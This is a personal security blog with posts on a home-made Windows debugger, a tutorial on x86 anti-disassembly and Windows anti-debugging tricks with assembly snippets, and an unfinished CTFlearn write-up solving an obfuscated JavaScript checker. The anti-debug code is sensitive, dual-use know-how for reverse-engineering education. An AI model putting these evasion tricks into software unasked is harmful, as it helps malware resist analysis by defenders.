Blog Dominika Tamiołło

Praca inżynierska ‘Metody ochrony aplikacji w systemie Windows’ Politechnika Krakowska

2022-03-06T13:00:00+01:00

I created my own debugger for Windows x64! [EN]

2020-05-02T20:30:00+02:00

Last time I had a lot of time to work on my projects due to global lockdown. In order to not waste that time I decided to write debugger. Its main purpose was to teach myself more about low level stuff going on with debuggers rather than to use it daily. I think it is good base of code when I gonna need write tool for specific kind of malware. Maybe one time I will improve this project e.g add .pdb symbols support or make it scriptable (info about it in new posts 😁). Source is good start point for someone interested to debuggers. Project is available on my GitHub. Let’s introduce you to my debugger, more visually than last posts.

Quick presentation

Debugger at this time is able to debug 64 bit programs for Windows. Let’s load one.

As you can see at the beggining it reads COFF symbols (e.g produced by MinGW), parse them and show, when there is match for particular address like shown below.

Every debugger needs breakpoints and stepping, here you go. (next instruction, step in, breakpoint)

Want to see loaded modules with their sections ? Let’s check them by vmmap command. All modules loaded into address space are retrieved by VirtualQuery and then parsed.

Let’s say debugee is stucked at some unhandled exception, we want to show backtrace.

Read some memory at given address.

And a few more, check it out.

Dominik Tamiołło

Anti debug and anti RE with examples [EN]

2020-03-29T18:50:00+02:00

Last time I spent a lot of time to familiarize myself with techniques that are used to prevent reverse engineer a program and I want share with you my knowledge. These protections are not used only by malware developers but also by companies that sell their products for high price and want them to be secure (mostly in terms of licence or activation checking). Anti cheats like VAC or PunkBuster also strongly depend upon such techniques. In this post I will cover anti reverse engineering techniques that applies to any operating system that is capable of running on x86 architecture. Anti debug protections on the other hand are valid just for Microsoft Windows (all the code was tested on 64 bit Windows 7 build 7601 virtualized by VirtualBox and Windows 10 x64 build 17763). All examples that I’m going to present here are available on my GitHub with nice script compiling it all at once.
Anti Debug
Anti RE

You just need nasm and golink that are standalone executables. nasm , golink

Anti Reverse Engineering techniques for x86

Quick introduction

If you don’t know what disassembly is then watch my video on YouTube explaining this

Tutorial is in Polish. Generally speaking, code that you write (assume C/C++ for simplicity) is processed on multiple stages. First stage of complete compilation is processing high level code to assembly code. Second stage is to take this assembly code and convert its source to raw bytes. If we have these bytes, we are able to reverse this process (not 100 % accurately). In this section I’m going to show some examples of how to mislead disassemblers. These techniques are based on fact that modern disassemblers are flow oriented. What is flow oriented disassembler? It is such disassembler that looks for conditional jumps over the code and analyse two paths that are possible to reach. There are some tricks that can mix up disassemlbers which I’m going to describe. All examples will be in assembly in intel syntax and disassembly checked in IDA PRO 7.0. x86 instruction set may be useful, available here.

je and jne instructions together

Take a look at this code

je l1 + 1 ; means one byte after l1 label
jne l1 + 1

l1:
db 0xe8 ; just one byte which starts instruction CALL rel32, refer to x86 instruction set 
xor eax, eax ; l1 + 1
ret
times 2 db 0x90

xor eax,eax
je l2 + 1

l2:
db 0xe9 ; starts instruction JMP rel32
pop eax ; l2 + 1
ret

Code starts with mysterious two conditional jump instructions appear. If we locate instruction jump if equal and jump if not equal one below another we end up with unconditional jump. But what flow oriented diassembler does in such scenario ? It tries to locate true and flase branches. For first je it jumps to l1+1 or go to instruction jne l1+1. And what are branches for jne l1+1 ? These are l1 and l1+1. Disassembler can’t provide us disassembly view with all these 4 paths.

Compiler decided to show us scenario when instruction jne l1 + 1 is not true and just go to the next instruction (l1 label). We know that this branch is never going to be taken, but unfortumately IDA doesn’t know that. The real path of execution is as shown below.

jmp l + 1

xor eax, eax ; l1 + 1
ret

We can change disassemled code in IDA by using D key to change bytes to data and C to disassemble them from other start point. After this action our disassembled code looks like this.

stack variables mixed up

sub esp, 8 ; two local variables on stack
sub esp, 4
cmp esp, 0x1000 
jb l1 ; esp never will be below 0x1000 address
add esp, 4
jmp l2

l1:
sub esp, 0x100 ; 64 local variables more

l2:
mov dword [esp], 0xbeefc0de
mov dword [esp+4], 0xc0dec0de
pop eax
pop ecx 
ret

Like in example before the problem here is wrong decision what branch should be taken. Stack address is never going to be below 0x1000, that’s just how OS’es arrange virtual memory. Now IDA thinks that there are 66 local variables and disassemble is mess.

And check stack by CTRL+K

call function by exception

push exception_handler
push dword [fs:0]
mov [fs:0], esp
; 3 lines above set up new exception handler in SEH

xor eax, eax ; eax = 0
div eax ; dividing by 0, raise exception manually

normal_execution: ; code which will never be executed
pop dword [fs:0]
add esp, 4 ; remove exception handler from SEH frames linked list

push 0x40
push paramTitle
push paramText
push 0
call _MessageBoxA@16
ret

exception_handler:
mov ecx, [esp + 0x0c] ; CONTEXT struct 
lea edx, [ecx + 0xb8] ; CONTEXT->EIP
mov dword [edx], redirected_execution ; save redirected function to CONTEXT->EIP 
ret ; 

redirected_execution:
pop dword [fs:0]
add esp, 4 ; remove exception handler from SEH frames linked list 
push 0x40
push paramTitleRedirected
push paramTextRedirected
push 0
call _MessageBoxA@16
ret

This code is not that easy to analyse at first glance. Let me introduce you into some windows internals. SEH is Structured Exception Handling abbreviation. It is native exception handling mechanism used in Windows. I’m sure you saw message like this once.

For example your code attempted to divide by 0, program generates exception but there is no user defined handler so the last handler is taken which is responsible for show message about unhandled exception as shown above. SEH allows us to catch this division by 0 and inform program “hey you are doing it wrong, I’m printing message that user supplied wrong numbers and let the program run”. SEH frames are stored in linked list with last added element located at FS:0 (for 32 bit code). SEH frame consist of pointer to next frame and handler, we can represent it like that.

SEH_frame * next
func_pointer exception_handler

Steps to set new SEH exception handler.

Get current SEH frame address.
Save this address to SEH_frame * next of new frame.
Save exception handler to new frame.
Register new SEH frame.

In code above SEH frame is built in first three lines. First line set exception function, second actualize pointer to next frame, third save new SEH frame address as first in linked list (dispatched first). When this is set up, code raise division by 0 exception, our exception handler get called.

Third argument (+0xc on stack) is pointer to CONTEXT structure for current thread (32 bit version).

If we change EIP value in this structure we will redirect execution. After handled exception processor context is taken back to its state before exception occured.

exception_handler:
mov ecx, [esp + 0x0c] ; CONTEXT struct, second argument to function
lea edx, [ecx + 0xb8] ; CONTEXT->EIP,
mov dword [edx], redirected_execution ; save redirected function address to CONTEXT->EIP 
ret ;

First we are getting second argument for this function which is CONTEXT, dereference it and overwrite EIP. Execution flows to redirected_execution. Now stack points to our lastly created SEH frame. Take it to the state before registering new SEH frame and we are clean to return.
Whole example show us that we can in some way hide calling a function. During static analysis of such program IDA might suppose that redirected_execution is never called, maybe it’s some kind of data.

Above we can see redirected_execution block of code interpreted by IDA, totally misleading. Good job, we surprised disassembler.

fake ret instruction

call $+5 ; this instruction is 5 bytes long
add dword [esp], 5 ; 
ret ; ret and add dword [esp], 5 added together are 5 bytes long
push ebp ; we end up there
mov ebp, esp
mov eax, 0xbeefc0de
pop ebp
ret

call $+5 saves onto the stack adress of next instruction (add dword [esp], 5). add dword [esp], 5 adds to this addres 5 which is summary of this instruction itself plus ret. This leads us to situation when ret returns to push ebp (4th line), so it behaves like nop instruction. Disassemblers assume that function ends with ret instruction and this example can confuse IDA. Let us see.

IDA decided not to disassemble after ret instruction.

complex nop

Let’s take a look at sample code of shared object (inline assembly syntax compatible with MinGW).

#include <stdio.h>
#include <windows.h>

void my_puts (const char* arg)
{
     printf("intercepted [%s]\n",arg);
}

BOOL WINAPI DllMain(HINSTANCE hInstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
    switch(fdwReason)
    {
         case DLL_PROCESS_ATTACH:
         {
         	asm (".byte 0xeb");
    	 	asm (".byte 0xff");
    	 	asm (".byte 0xc0");
    	 	asm (".byte 0x48");
	     	puts("works");
         }
         break;
    }
    return TRUE;
}

What are these mysterious inline assembly bytes ? Let me explain it by image.

First instruction that processor spots is jmp $ + 1, then this instruction jumps one byte further and it’s inc eax instruction. Next instruction is dec eax so context is not changed by these instructions, we can call it like 4 byte nop. One main difference is fact that this nop mess up disassembly (below case from IDA).

As we can see logic of program is broken, IDA couldn’t examine connection between basic blocks well. For comparison disassembly without complex nop below.

More complex example of using this technique and others you can see at my CTF challenge at CTFlearn (click on it).

Anti debugging techniques on Windows (32 bit subsystem)

I will cover only the most crucial code that is needed to understand example. Code that make up whole executable and shows out pretty MessageBoxes with informations are available on my GitHub
I made it that way in order to not paste here too much redundant code. All names of functions from API are in particular form: _func@(number of arguments * 4) because name mangling for stdcall functions.

isDebuggerPresent ()

The easiest to bypass and detect is isDebuggerPresent () check. This function internally locate PEB (Process Environment Block) and checks its second variable BeingDebugged. Simple as that.

call _isDebuggerPresent@0
cmp eax, 1
je debugged

If we want to implement such function by ourselves it would be something like that.

mov eax, [fs:0x30] ; pointer to PEB
cmp dword [eax+2], 1
je debugged
; continue normally program
debugged:
ret

At fs:0x30 there is always located pointer to PEB.

checkRemoteDebuggerPresent ()

Another simple example of using windows API. In this function we need to supply handle to process which we want to check. We can obtain it by GetCurrentProc or pass -1 (which is pseudohandle for current process).

call _GetCurrentProcess@0
sub esp, 4 ; variable on stack that gets return value
push esp 
push eax ; or just pass 0xffffffff instead
call _CheckRemoteDebuggerPresent@8
mov ecx, [esp]
add esp, 4 
cmp ecx, 1
je debugged

This function internally calls NtQueryInformationProcess to get debug port, nonzero value inditcates debugger which is going to be explained later.

checking for int3 instructions (are there any software breakpoints set in debugger ?)

When we set a breakpoint in our code what does debugger do is placing int3 (0xcc value instruction set) at address of our choice (removing original byte and restoring it after execution). int3 generates exception and debugger intercept it. Scaning code memory for 0xcc can result in debugger detection.

call $+5 
pop edi ; get adress of this instruction
add edi, 15 ; avoid 0xcc which is in mov eax, 0xcc instruction
mov ecx, 0x400 ; how many bytes compared 
mov eax, 0xcc ; what we are comparing to
repne scasb ; compare further 0x400 bytes until found or ecx == 0
je debugged

NtGlobalFlags checking

Let’s check PEB structure again.

A lot of members are reserved and not documented. Hapilly it has been documented by third parties. At offset 0x68 we have NtGlobalFlags. So do not be discouraged when you see “Reserved” in documentation. Usually when process is handled by debugger these flags are set.

FLG_HEAP_ENABLE_TAIL_CHECK (0x10)
FLG_HEAP_ENABLE_FREE_CHECK (0x20)
FLG_HEAP_VALIDATE_PARAMETERS (0x40)

Combination of these gives us 0x70. These flags can enable specific advanced debugging, diagnostic, and troubleshooting features. In this example connected with heap. As we can see by default when debugger is connected to process it has additional features enabled. If process is ran normally NtGlobalFlags should be equal to 0.

mov eax, [fs:0x30]
cmp dword [eax+0x68], 0x70
je debugged

OpenProcess csrss.exe

By this technique we do not have feedback whether someone is debugging our application explicit. Some debuggers (like OllyDbg) when ran by administrator set to debugged process specific permission “SeDebugPrivilege” (but x64dbg by default not). To check presence of this permission we can try to open critical Windows process csrss.exe because only users that are members of the administrators group with debug privilege can open this process. Csrss.exe is always running and we can get its pid by CsrGetProcessId function. If our program normally does not need this privilege to run then someone is doing something nasty with it.

call _CsrGetProcessId@0 ; get pid of csrss.exe in system
push eax
push 0
push 0x1f0fff ;  ALL_ACCESS
call _OpenProcess@12
test eax, eax
jne admin_with_debug_priv

Hide thread from debugger with NtSetInformationThread

Efficient technique to prevent debugging may be hide thread from debugger. When we set breakpoint somewhere in code and in the meantime debugger is detached from process then program will crash with unhandled exception. The reason for that is int3 instruction inserted by debugger in our code. Now when thread is hided and do not send notifications to debugger there is no handler to catch breakpoint exception. By setting HideThreadFromDebugger debugger is not going to get any notifications making it useless.

As second arguement we set constant ThreadHideFromDebugger, third and fourth can be null, we do not need to provide any additional info. -2 is pseudohandle for current thread. After this operation debugger program can become unresponsive.

call _GetCurrentThread@0

push 0
push 0
push 0x11 ; hide from debugger
push eax ; 0xfffffffe is current thread
call _NtSetInformationThread@16

check debug port using NtQueryInformationProcess

Following code is used internally in function checkRemoteDebuggerPresent mentioned before. Function is used to retrieve various information about process like name suggests. We want to retrieve debug port for current process. We have to supply memory location for number of debug port to be returned. We can allocate it on stack like in this example. When the process is being debugged, the return value is 0xffffffff (-1).

call _GetCurrentProcess@0
mov ecx, eax

sub esp, 4 ; allocating memory on stack for return value
mov edx, esp
push 0
push 4
push edx
push 7 ; ProcessDebugPorts
push ecx
call _NtQueryInformationProcess@20
mov ecx, [esp]
add esp, 4
cmp ecx, 0
jne debugged

checks heap flags

First we are obtaining PEB adress, then at offset 0x18 within it there is first heap area for process. It has header with fields (ForceFlags and Flags) that are used by kernel to get to know whether process was created within a debugger. These fields offsets are 0x40 and 0x44 accordingly (quickly checking for Windows 10 also). In Windows 7 64 bit build 7601 it is as in following image.

When not started by debugger it should be equal to 0.

mov eax, [fs:0x30]
mov eax, [eax+0x18]
cmp dword [eax+0x44], 0 ; offset for windows 7 x86-32
jne debugged

checking for presence of hardware breakpoints using SEH

We are registering new exception handler, then raise an exception. As mentioned here. SEH handler gets CONTEXT struct. Dr0 to Dr7 are debug resgitsers. First four of these contain adress of hardware breakpoint (meaning we can set only 4 hardware breakpoints). This code checks for hardware breakpoints using SEH exception.

push exception_handler
push dword [fs:0]
mov [fs:0], esp ; register SEH exception handler

xor eax, eax
div eax ; exception 
pop dword [fs:0]
add esp, 4
ret

exception_handler:
mov ecx, [esp + 0x0c] ; CONTEXT struct

lea esi, [ecx + 4]
mov ecx, [esi]
cmp ecx, 0
jnz debugged
add esi, 4
mov ecx, [esi]
cmp ecx, 0
jnz debugged
add esi, 4
mov ecx, [esi]
cmp ecx, 0
jnz debugged
add esi, 4
mov ecx, [esi]
cmp ecx, 0
jnz debugged

checking for presence of hardware breakpoints using VEH

Like in previous example we are going to check hardware breakpoint. In this example we are going to raise exception but by using VEH (Vectored Exception Handling). VEH is used simultaneously with SEH but dispatched always before SEH. To add such exception handler we have to do it through API with AddVectoredExceptionHandler. Simple as that. Declaration of exception handler is as shown below. This technique can also be reproduced at 64 bit Windows due to usage of VEH at these systems (offsets to particular fields are different). SEH at 64 bit systems is not present.

The only argument is pointer to the structure below.

Then we get CONTEXT and check debug registers as before and tell the OS to continue execution.

push exception_handler
push 0
call _AddVectoredExceptionHandler@8
xor eax, eax
div eax
jmp not_debugged

exception_handler:

mov ecx, [esp + 4] ; get pointer to exception_pointers
mov ecx, [ecx + 4] ; get ContextRecord from it
cmp dword [ecx+4], 0
jne debugged
cmp dword [ecx+8], 0
jne debugged
cmp dword [ecx + 12], 0
jne debugged
cmp dword [ecx + 16], 0
jne debugged
add dword [ecx+0xb8], 2 ; pass through exception instruction
mov eax, 0xffffffff ; EXCEPTION_CONTINUE_EXECUTION, meaning exception was well handled, execution goes on.
ret

CloseHandle that raise exception only when debugging

CloseHandle when supplied with wrong handle raises EXCEPTION_INVALID_HANDLE (0xC0000008) exception, but only when process is debugged. We can use this information to check whether debugged is present. First argument to exception handler is pointer to exception type.

push interrupt_handler
mov eax, [fs:0]
push eax
mov [fs:0], esp ; register new SEH exception handler

push 0xbaad
call _CloseHandle@4 ; try to close nonexistent handle
add esp, 8
jmp not_debugged

interrupt_handler: ; if debugger is present then 
mov ecx, [esp+4] 
mov ecx ,[ecx] ; get exception type
mov esp, [esp+8] ; cleaning
mov edx, [fs:0]
mov edx, [edx]
mov edx, [edx]
mov [fs:0], edx
add esp, 8 
cmp ecx, 0xc0000008 ; invalid handle
je debugged

check whether debug message exception is handled

This technique does not work in x64dbg. We raise DBG_PRINT_EXCEPTION_C (ascii version) exception to send message to debugger. If it is handled then we assume that probably by debugger.

mov ecx, [fs:0]
push not_debugged_exception
push ecx
mov [fs:0], esp

sub esp, 4
mov dword [esp], 0x00414141 ; AAA string
sub esp, 16 ; allocate memory for arguments to exception
mov dword [esp], 0 
mov dword [esp+4], 0 
mov dword [esp+8], 4 ; ascii version arguments as 2nd and 3rd
mov dword [esp+12], ecx

push esp
push 4
push 0
push 0x40010006 ; DBG_PRINT_EXCEPTION_C 
call _RaiseException@16
add esp, 28
jmp debugged

not_debugged_exception:
; clean up SEH and continue execution

Check number of debug objects present with NtQueryObject

We can use NtQueryObject to enumerate objects of specific type. We provide as second argument ObjectTypeInformation (value 2). ObjectTypeInformation will only return the information of the supplied handle. Every debugger needs debug object to work, so we can count how many debug objects are in our system. We need to supply valid handle to debug object to get informations about this type of objects so we will create one by NtCreateDebugObject. This protection checks whether any binary is debugged, not this particular one, so if we debug other binary and in the same time execute binary normally with this protection then we will get information about process being debugged.

section .data

memory times 0x1000 db 0

section .text

sub esp, 4 ; handle to debug object
mov ecx, esp
sub esp, 24 ; OBJECT_ATTRIBUTES
mov dword [esp], 24
mov dword [esp+4], 0
mov dword [esp+8], 0
mov dword [esp+12], 0
mov dword [esp+16], 0
mov dword [esp+20], 0
mov edx, esp

push 0
push edx
push 0x1f000f ; DEBUG_ALL_ACCESS
push ecx
call _NtCreateDebugObject@16
;add esp, 24
mov ecx, [esp+24] ; get handle to debug object
cmp eax, 0
jb error

push 0
push 0x1000
push memory
push 2 ; ObjectTypeInformation
push ecx ; Handle
call _NtQueryObject@20
mov eax, [memory+8]
add esp, 28
cmp eax, 1
jne debugging

Summary

That’s all for now. If I find new techniques I will update this blogpost. If you have any problems with code provided here send me quick email to domin568@gmail.com. I checked all examples from here on Windows 10 build 17763 and it behaves excatly the same like on Windows 7 build 7601.

Dominik Tamiołło

The Super Secure Service (CTFlearn) writeup [EN]

2020-03-08T13:25:24+01:00

Task is at CTFlearn.com.

Challenge is marked hard and since 28th June 2017 was solved by 22 people so far. Page mentioned in task decription looks like this:

Our goal is to find password that matches message and signature provided in the header. Password is checked by client-side in script check.js.

msg = ["You fail!", "Seriously?", "Ha! Ha! You wish it was right!", "Correct! (jkjk its wrong lol)", "stap tryin! youll nvr git it right!", "<code>throw 'you tried'; //throwing something you can catch!</code>", "just give up!", "y0u n00b! R U just bru13 f0rc1ng?"]
tries = 0;
function check()
{
    try
    {
        $ = document.getElementById.bind(document);
        j = window.d0cument;
        check2();

        $("resp").innerText = "Correct! (Oh gosh! I guess you've done it...)";
        $("resp").className = "good";
    }
    catch (e)
    {
        if (tries >= msg.length)
            tries = 0;
        $("resp").innerHTML = msg[tries];
        $("resp").className = "error";
        tries++;
    }
}

function check2()
{
    //Randomizer taken from https://stackoverflow.com/a/19301306/7344257 code
    var m_w = 123456789;
    var m_z = 987654321;
    var mask = 0xffffffff;

    // Takes any integer
    function seed(i) 
    {
        m_w = i;
    }

    function random()
    {
        m_z = (36969 * (m_z & 65535) + (m_z >> 16)) & mask;
        m_w = (18000 * (m_w & 65535) + (m_w >> 16)) & mask;
        var result = ((m_z << 16) + m_w) & mask;
        return result
    }

    //Ignore this code... This is the magical part of this verifier
    var _0xda23 = ["\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74", "\x63\x61\x6C\x6C", "\x72\x65\x64\x75\x63\x65", "\x70\x72\x6F\x74\x6F\x74\x79\x70\x65", "", "\x6C\x65\x6E\x67\x74\x68", "\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65", "\x73", "\x78", "\x62\x61\x64", "\x76\x61\x6C\x75\x65", "\x63\x6F\x64\x65", "\x70\x6F\x77", "\x66\x6C\x61\x67\x7B", "\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68", "\x73\x75\x62\x73\x74\x72", "\x7D", "\x73\x70\x6C\x69\x74", "\x74\x65\x73\x74", "\x5F", "\x6C\x6F\x67", "\x66\x6C\x6F\x6F\x72", "\x73\x69\x67\x6E", "\x6D\x73\x67"];
    function hash(_0x7a95x2) {
        var _0x7a95x3 = 0xffffffff;
        return Array[_0xda23[3]][_0xda23[2]][_0xda23[1]](_0x7a95x2, function(a, b) {
            return (a * 31 + b[_0xda23[0]](0)) & _0x7a95x3
        }, 0)
    }
    function xor(_0x7a95x7, _0x7a95x8) {
        var z = _0xda23[4];
        for (var i = 0; i < _0x7a95x7[_0xda23[5]]; i++) {
            z += String[_0xda23[6]](_0x7a95x7[_0xda23[0]](i) ^ _0x7a95x8)
        }
        ;
        return z
    }
    function xor2(_0x7a95x7, _0x7a95x8) {
        var z = _0xda23[4];
        for (var i = 0; i < _0x7a95x7[_0xda23[5]]; i++) {
            z += String[_0xda23[6]](_0x7a95x7[_0xda23[0]](i) ^ (_0x7a95x8[_0xda23[0]](i % _0x7a95x8[_0xda23[5]]) & 15))
        }
        ;
        return z
    }
    function decode(_0x7a95xd, _0x7a95xe, _0x7a95xf) {
        x = _0x7a95xf % 2;
        y = _0x7a95xe[_0xda23[0]]((_0x7a95xf - x) / 2);
        if (!x) {
            y >>= 4
        }
        ;
        y &= 0xf;
        return xor(_0x7a95xd, y)
    }
    function runcode(_0x7a95x11, _0x7a95xd, _0x7a95xe) {
        _0x7a95xd = decode(_0x7a95xd, _0x7a95xe, 0);
        try {
            var _0x7a95x12 = {
                x: _0x7a95xd,
                d: decode,
                k: _0x7a95xe,
                o: xor2,
                s: _0x7a95x11
            };
            var _0x7a95xf = 0;
            for (var i = 0; i < _0x7a95xe[_0xda23[5]] * 2; i++) {
                new Function(_0xda23[7], _0x7a95x12[_0xda23[8]])(_0x7a95x12)
            }
            ;
            return _0x7a95x12[_0xda23[7]]
        } catch (e) {
            throw _0xda23[9]
        }
    }
    seed(18458);
    j++;
    input = $(_0xda23[11])[_0xda23[10]];
    var a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z;
    a = 1;
    TRUE = (j == j);
    FALSE = !TRUE;
    b = Math[_0xda23[12]](++a, a + ++a + TRUE) - FALSE + TRUE;
    c = Math[_0xda23[12]](a++ - FALSE, a += FALSE + FALSE) - FALSE;
    d = (random() + random()) & b;
    if (!input[_0xda23[14]](_0xda23[13]) || input[_0xda23[15]](-FALSE) != _0xda23[16] || hash(input) != -1996285287 || input[_0xda23[5]] != (random() & c)) {
        throw _0xda23[9]
    }
    ;
    f = random() & b - d;
    input = input[_0xda23[15]](a)[_0xda23[17]](_0xda23[16])[+TRUE];
    if (!/^[A-Za-z0-9_]+$/[_0xda23[18]](input)) {
        throw _0xda23[9]
    }
    ;
    f *= f;
    input = input[_0xda23[17]](_0xda23[19]);
    if (input[_0xda23[5]] != f || input[+FALSE][_0xda23[5]] != f - FALSE - TRUE || input[+FALSE][+FALSE] != 'R') {
        throw _0xda23[9]
    }
    ;
    try {
        seed(parseInt(input[TRUE + TRUE]));
        g = ~random() ^ hash(input[FALSE + FALSE]) ^ hash(input[f - FALSE + TRUE]);
        console[_0xda23[20]](g);
        if (g != 1865600952) {
            throw _0xda23[9]
        }
    } catch (e) {
        throw _0xda23[9]
    }
    ;
    seed(97632000);
    e = Math[_0xda23[21]](b / (FALSE - TRUE + FALSE));
    c = (random() >> (e - TRUE + FALSE)) & b;
    d = (random() >> (e - TRUE + FALSE)) & b;
    if (input[FALSE + FALSE - TRUE][_0xda23[5]] != c - d) {
        throw _0xda23[9]
    }
    ;
    if (input[d] != runcode($(_0xda23[22])[_0xda23[10]], xor($(_0xda23[23])[_0xda23[10]], c - d), input[FALSE + FALSE])) {
        throw _0xda23[9]
    }
}

Script is quite obfuscated, it took me a while to rename all variables to their human readable forms. var _0xda23 contains names of functions or strings but encoded as hex sequences. Let’s decode them. Fastest approach for me was to use node CLI interface.

Second important thing is how generating random numbers works in this example.

var m_w = 123456789;
var m_z = 987654321;
var mask = 0xffffffff;

// Takes any integer
function seed(i) 
{
    m_w = i;
}

function random()
{
    m_z = (36969 * (m_z & 65535) + (m_z >> 16)) & mask;
    m_w = (18000 * (m_w & 65535) + (m_w >> 16)) & mask;
    var result = ((m_z << 16) + m_w) & mask;
    return result 
}

Take a look at seed function. m_w and m_z are kinda independent of each other. We can get to know all variable values that depend on random() function and treat them as const values. I used debugger to get to know all random values. I had to avoid checks of validity.

Deobfuscated script is presented below.

msg = ["You fail!", "Seriously?", "Ha! Ha! You wish it was right!", "Correct! (jkjk its wrong lol)", "stap tryin! youll nvr git it right!", "<code>throw 'you tried'; //throwing something you can catch!</code>", "just give up!", "y0u n00b! R U just bru13 f0rc1ng?"]
tries = 0;
function check()
{
    try
    {
        $ = document.getElementById.bind(document);
        j = window.d0cument; // undefined
        check2();

        $("resp").innerText = "Correct! (Oh gosh! I guess you've done it...)";
        $("resp").className = "good";
    }
    catch (e)
    {
        if (tries >= msg.length)
            tries = 0;
        $("resp").innerHTML = msg[tries];
        $("resp").className = "error";
        tries++;
    }
}

function check2()
{
    //Randomizer taken from https://stackoverflow.com/a/19301306/7344257 code
    var m_w = 123456789;
    var m_z = 987654321;
    var mask = 0xffffffff;

    // Takes any integer
    function seed(i) 
    {
        m_w = i;
    }

    function random()
    {
        m_z = (36969 * (m_z & 0xffff) + (m_z >> 16)) & mask;
        m_w = (18000 * (m_w & 0xffff) + (m_w >> 16)) & mask;
        var result = ((m_z << 16) + m_w) & mask;
        return result
    }

    //Ignore this code... This is the magical part of this verifier
    var arrayOfBytes = [ 'charCodeAt',       // 0
                         'call',             // 1
                         'reduce',           // 2
                         'prototype',        // 3
                         '',                 // 4
                         'length',           // 5
                         'fromCharCode',     // 6
                         's',                // 7
                         'x',                // 8
                         'bad',              // 9
                         'value',            // 10
                         'code',             // 11
                         'pow',              // 12
                         'flag{',            // 13
                         'startsWith',       // 14
                         'substr',           // 15
                         '}',                // 16
                         'split',            // 17
                         'test',             // 18
                         '_',                // 19
                         'log',              // 20
                         'floor',            // 21
                         'sign',             // 22
                         'msg'               // 23
                       ]

    function hash(input) 
    {
        return Array['prototype']['reduce']['call'](input, function(a, b) 
        {
            return (a * 31 + b['charCodeAt'](0)) & 0xffffffff
        }, 0)
    }
    function xor(s, key) 
    {
        var z = '';
        for (var i = 0; i < s['length']; i++) 
        {
            z += String['fromCharCode'](s['charCodeAt'](i) ^ key)
        }
        ;
        return z
    }
    function xor2(s, key) 
    {
        var z = '';
        for (var i = 0; i < s['length']; i++) 
        {
            z += String['fromCharCode'](s['charCodeAt'](i) ^ (key['charCodeAt'](i % key['length']) & 0xf))
        }
        ;
        return z
    }
    function decode(msgXored, input2, _0x7a95xf) 
    {
        x = _0x7a95xf % 2;  
        y = input2['charCodeAt']((_0x7a95xf - x) / 2); 
        if (x == 1) // x == 1, odd
        {
            y >>= 4
        }
        ;
        y &= 0xf; // just 15 combinations
        return xor(msgXored, y)
    }
    function runcode(signature, msgXored, input2) 
    {
        msgXored = decode(msgXored, input2, 0); // JS code decrypt from message
        try 
        {
            var _funcs = 
            {
                x: msgXored,
                d: decode,
                k: input2,
                o: xor2,
                s: signature
            };
            var _0x7a95xf = 0;
            for (var i = 0; i < input2['length'] * 2; i++) 
            {
                new Function('s', funcs['x'])(funcs)
            }
            ;
            return funcs['s']
        } 
        catch (e) 
        {
            throw 'bad'
        }
    }
    seed(18458);
    j++;
    input = $('code')['value']; // input to password

    var a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z;

    a = 1;

    b = Math['pow'](++a, a + ++a + 0) - 1;    // 31
    c = Math['pow'](a++ - 1, a += 1 + 1) - 1; // 63
    d = (random() + random()) & b;            // 13

    if (!input['startsWith']('flag{') || input['substr'](-1) != '}' || hash(input) != -1996285287 || input['length'] != (random() & c))  // random() &c == 36
    {
        throw 'bad'
    }
    ;

    f = random() & b - d; // 2 

    input = input['substr'](a)['split']('}')[0]; // a == 6
    if (!/^[A-Za-z0-9_]+$/['test'](input)) // If it contains other characters than alphanumeric + _
    {
        throw 'bad'
    }
    ;

    f *= f; // 4

    input = input['split']('_');
    if (input['length'] != f || input[1]['length'] != f-1 || input[1][1] != 'R') 
    {
        throw 'bad'
    }
    ;
    try 
    {
        seed(parseInt(input[0]));
        g = ~random() ^ hash(input[2]) ^ hash(input[f-1]);
        console['log'](g);
        if (g != 1865600952) 
        {
            throw 'bad'
        }
    } 
    catch (e) 
    {
        throw 'bad'
    }
    ;
    seed(97632000);
    e = Math['floor'](b / (2)); // 15
    c = (random() >> (e + 1)) & b; // 14 
    d = (random() >> (e + 1)) & b; // 3 
    if (input[2]['length'] != c - d) // != 11 
    {
        throw 'bad'
    }
    ;
    if (input[d] != runcode($('sign')['value'], xor($('msg')['value'], 11), input[2]))
    {
        throw 'bad'
    }
}

Describing it as simple as it can be. Script checks whether password starts with “flag{“ and ends with “}” and its length is equal to 36. There is also check about value of hashed whole password, unfortunately we are not able to compute it yet so we have to delete this check in debugging. Then body of flag between { and } is extracted and checked if there are only alphanumeric characters or _. If that’s true body of flag is splitted by _. There should be 4 chunks and second of them should consists of 3 chars and second of them is ‘R’. Then hashes of third and fourth chunk of flag are computed. Then XOR’ed with random value seeded by integer parsed from last three (!) chars of first chunk of flag. Last part of this script is what we are able to crack

if (input[d] != runcode($('sign')['value'], xor($('msg')['value'], 11), input[2]))
{
    throw 'bad'
}

runcode function takes signature, message with all chars xored with 11, and third chunk of password. Then third chunk of password is checked there. It’s quite complicated so you can understand it reading script which I provide later in this writeup. runcode also computes value of fourth chunk of password. Having this we are able to bruteforce this part of code

seed(parseInt(input[0]));
g = ~random() ^ hash(input[2]) ^ hash(input[f-1]);
console['log'](g);
if (g != 1865600952) 
{
    throw 'bad'
}

And then bruteforce first problematic condition ‘hash(input) != -1996285287’ that checks whole flag.

Whole script that takes ‘code.dat’ as input and outputs valid flag is below.

#!/usr/local/bin/python
import base64
import string
import ctypes
import sys

def xor (mes, key):
	l = []
	for i in mes:
		l.append ( chr(ord(i) ^ key ) )
	return ''.join(l)

def xor2 (mes,key):
	l = []
	for i in range (len (mes)):
		l.append ( chr ( ord(mes[i]) ^ (ord(key[i % len(key)]) ) & 0xf ) )
	return ''.join(l)

def seed(i):
	m_w = i;

def random(m_z, m_w):
    m_z = (36969 * (m_z & 0xffff) + (m_z >> 16)) & mask;
    m_w = (18000 * (m_w & 0xffff) + (m_w >> 16)) & mask;
    result = (ctypes.c_int((m_z << 16)).value + ctypes.c_int(m_w).value) & ctypes.c_int(mask).value;
    return result

def hash(input):
	h = 0
	for i in input:
		h = 31 * h + ord(i) & 0xffffffff
	return h

flag = [ "flag{", ["","","",""], "}" ]

f = open ('code.dat','rb')
blob = f.read ()
blob = xor (blob,11) # len(input[2])

# Find flag {0_0_XXXXXXXXX_XXXXXXXXX} 

sig = r"g6Gj<bQ\w"
